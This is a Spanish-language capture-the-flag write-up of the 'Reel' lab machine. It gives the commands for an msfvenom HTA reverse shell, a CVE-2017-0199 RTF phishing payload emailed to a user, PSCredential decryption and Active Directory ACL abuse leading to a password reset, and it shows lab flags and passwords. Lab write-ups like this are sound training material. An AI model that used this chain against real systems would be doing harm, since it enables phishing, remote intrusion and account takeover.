# REEL
## Reconocimiento
### nmap
```
nmap -sS --min-rate 5000 -vvv -p- -Pn 10.10.10.77 -oG allPorts
```

```
nmap -sCV -p21,22,25 -Pn 10.10.10.77
```


```
ftp 10.10.10.77
Name (10.10.10.77:cr4y0): anonymous
Password:
```
```
prompt off
mget *
```


Una de las cosas a hacer es ver si existen macros o los metadatos
```
#olevba AppLocker.docx
```

```
exiftool AppLocker.docx
exiftool Windows\ Event\ Forwarding.docx
```

Como tenemos el SMTP abierto, probaremos conectarnos con telnet:

Y podemos intentar validar un usuario enviandole un mensaje

Otra forma alternativa de enumerar usuarios por smtp se puede probar `smtp-user-enum`
```
cat users.txt
```

```
smtp-user-enum -M RCPT -U users.txt -t 10.10.10.77
```

Usaremos la herramienta `sendemail`
Como se debe enviar un archivo RTF
`RTF malicious file remote command execution`

```
msfvenom -l formats | grep "hta"
```

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f hta-psh -o rev.hta
```

```
python cve-2017-0199_toolkit.py -M gen -u http://10.10.14.2/rev.hta -w salario.rtf -t RTF -x 0
```

Se ha generado un archivo `salario.rtf`
```
python3 -m http.server 80
```


```
sendemail -f cr4y0@megabank.com -t nico@megabank.com -u "IMPORTANTE" -m "Este es el mensaje" -s 10.10.10.77 -a salario.rtf -v
```

Se establece una conexión por revershell.

## Acceso


type user.txt
fa363aebcfa2c29897a69af385fee971
```
type cred.xml
```

Un archivo en un objeto representado el cual involucra un PSCredential. Esto es una forma potencial de almacenar usuarios, contraseñas y credenciales pero hay ciertas funciones ImportCLI-Xml y ExportCLI-Xml que a través de Powershell se puede intentar restaurar la credencial en base a este archivo.
```
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential()"
```

```
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List"
```

```
UserName : Tom
Password : 1ts-mag1c!!!
```
```
ssh tom@10.10.10.77
tom@10.10.10.77's password: 1ts-mag1c!!!
```


```
impacket-smbserver smbFolder $(pwd) -smb2support
```

```
copy acls.csv \\10.10.14.2\smbFolder
```

Visualizando el acls.csv

EL usuario tom tiene WriteOwner sobre el usuario claire
Un atacante puede abusar del permiso WriteOwner para cambiar el propietario del objeto a un usuario controlado por el atacante y apoderarse del objeto.
Establecer a tom como propietario de la ACL de claire
```
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
```

Otorgue permisos a tom para cambiar las contraseñas en esa ACL
```
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
```

Crear credencial de powershell y cambiar credenciales
```
$cred = ConvertTo-SecureString "cr4y0123!" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
```



```
net group backup_admins
```

```
net group backup_admins claire /add
```

```
net user claire
```


`Cr4ckMeIfYouC4n!`

